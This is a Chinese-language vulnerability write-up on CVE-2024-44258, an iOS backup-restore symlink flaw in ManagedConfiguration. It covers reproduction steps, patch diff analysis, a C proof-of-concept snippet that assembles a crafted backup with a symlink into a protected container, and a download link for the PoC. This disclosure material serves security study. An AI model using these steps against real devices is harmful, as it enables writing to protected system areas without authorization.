【PoC】Apple iOS 中严重符号链接漏洞CVE-2024-44258
概述
CVE-2024-44258 代表苹果设备中 ManagedConfiguration框架 和 profiled守护程序 的一个符号链接漏洞。在还原一个经过精心设计的备份时,迁移过程未验证目标文件夹是否为符号链接(symlink),导致未经授权的文件迁移到受限区域。
CVE ID
此问题已分配唯一标识符 CVE-2024-44258。CVE 是已公开披露的安全漏洞的独特标识符。
影响: 恢复一个恶意设计的备份文件可能会导致系统受保护文件被修改。
描述: 通过改进受影响组件中的符号链接处理,该问题已得到解决。
更多信息请参考苹果的官方支持页面:
support.apple.com/en-us/121569
support.apple.com/en-us/121566
support.apple.com/en-us/121563
详细信息
受影响组件:
ManagedConfiguration框架
profiled守护程序
影响:
该漏洞允许攻击者在备份还原过程中利用符号链接绕过文件夹限制,将文件写入受沙盒保护或受限的区域。该缺陷可能导致未经授权的数据访问、权限提升,或利用其他依赖于已修改配置的服务进行进一步攻击。
复现步骤
创建一个精心设计的备份
创建一个从以下路径的符号链接:
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
到一个使用域的沙盒文件夹:SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
添加所需文件
在以下路径中插入文件和文件夹:
/private/var/mobile/Library/ConfigurationProfiles
使用 HomeDomain。
还原精心设计的备份
将备份还原到任何iPhone、iPod或iPad设备。
重启设备
重启后,检查受限区域的内容,您会发现文件/文件夹已迁移到先前受保护的位置。
预期结果与实际结果
预期结果:
/private/var/mobile/Library/ConfigurationProfiles
应迁移至:/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
实际结果:
由于精心设计的符号链接,文件迁移到了可能包含敏感或受保护数据的受限文件夹。
漏洞利用状态
该漏洞在 野外已活跃数月,表明已被利用。
补丁说明
在 iOS 18.1 beta5 中,苹果引入了补丁来解决 ManagedConfiguration框架 中的符号链接漏洞。新函数 _MCDestinationPathIsSafeFromSymlinkAttacks
用于对目标路径执行安全检查,防止未经授权的文件迁移至受限区域。此检查专门添加到 MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:
函数中。
受影响函数:-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]
该漏洞修复通过修改 -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]
函数实现,该函数负责 ManagedConfiguration框架 中的文件迁移操作。补丁的工作原理如下:
增加符号链接检查
苹果在MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:
开头添加了_MCDestinationPathIsSafeFromSymlinkAttacks
函数调用。该函数现在会验证目标路径是否无符号链接,从而在执行任何迁移操作之前添加了一层保护。条件检查
如果_MCDestinationPathIsSafeFromSymlinkAttacks
检测到目标路径中存在符号链接,它将阻止迁移继续进行。该函数会通过OS_LOG_TYPE_FAULT
记录一个 故障消息 并提前退出,停止文件操作。
代码对比
使用 Diaphora 在 IDA 中对比 iOS 18.1 beta4 与 iOS 18.1 beta5,可以看到 -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]
函数中的变化。以下图片显示了添加符号链接检查后的代码修改。
PoC(概念验证)
以下是一个演示如何制作利用该漏洞的备份的代码片段。此代码展示了如何将符号链接和文件添加到备份中,模拟了过程,但不提供实际的恶意备份文件。
unsigned char* plist_data = NULL;
file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // THIS NEED TO BE CHANGED TO THE FILE PATH
backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // WE ADD OUR FILES
backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // CHANGE THE PATH TO THE SANDBOXED FOLDER YOU WANT TO WRITE IN YOUR FILES
backup_write_mbdb(backup); // SAVE THE BACKUP
backup_free(backup);
披露时间线
首次报告给苹果: [2024年7月6日]
CVE分配: CVE-2024-44258
公开披露: [2024年11月2日]
致谢
特别感谢苹果安全团队的迅速响应与合作。
漏洞由 Hichem Maloufi 和 Christian Mina 发现
许可证
此存储库根据 MIT 许可证授权。有关更多信息,请参见 LICENSE
文件。
仓库
https://github.com/ifpdz/CVE-2024-44258
直链地址下载
https://lp.lmboke.com/CVE-2024-44258-main.zip
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。